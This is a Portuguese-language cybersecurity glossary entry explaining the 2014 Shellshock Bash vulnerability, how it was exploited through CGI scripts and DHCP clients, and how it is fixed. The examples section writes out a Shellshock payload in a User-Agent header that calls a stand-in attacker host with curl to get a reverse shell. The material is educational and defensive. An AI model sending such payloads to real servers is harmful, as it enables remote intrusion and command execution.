CyberGlossary

Vulnerabilidades

Shellshock (CVE-2014-6271)

Também conhecido como: Bashdoor, CVE-2014-6271

Definição

Vulnerabilidade de 2014 no GNU Bash que permitia executar comandos arbitrários ao definir variáveis de ambiente especialmente construídas e passá-las ao Bash por outros programas.

O Shellshock (CVE-2014-6271 e o relacionado CVE-2014-7169) está na forma como o GNU Bash analisava definições de função armazenadas em variáveis de ambiente: comandos após o corpo da função eram executados ao iniciar a shell. Como muitos serviços — scripts CGI, clientes DHCP, OpenSSH ForceCommand, qmail — invocavam Bash com variáveis controladas pelo atacante, a exploração remota era trivial, muitas vezes como root. A divulgação em 2014 desencadeou patching global e exploração massiva para botnets, webshells e worms. A correção exige atualizar o Bash, substituir arquiteturas Bash-CGI antigas e aplicar defesa em profundidade com queda de privilégios e restrição da passagem de variáveis.

Exemplos

  • Enviar User-Agent () { :; }; /bin/curl attacker.com a um endpoint Bash-CGI para obter shell reversa.
  • Explorar um cliente DHCP que exporta strings de opção para o ambiente de um script hook em Bash.

Termos relacionados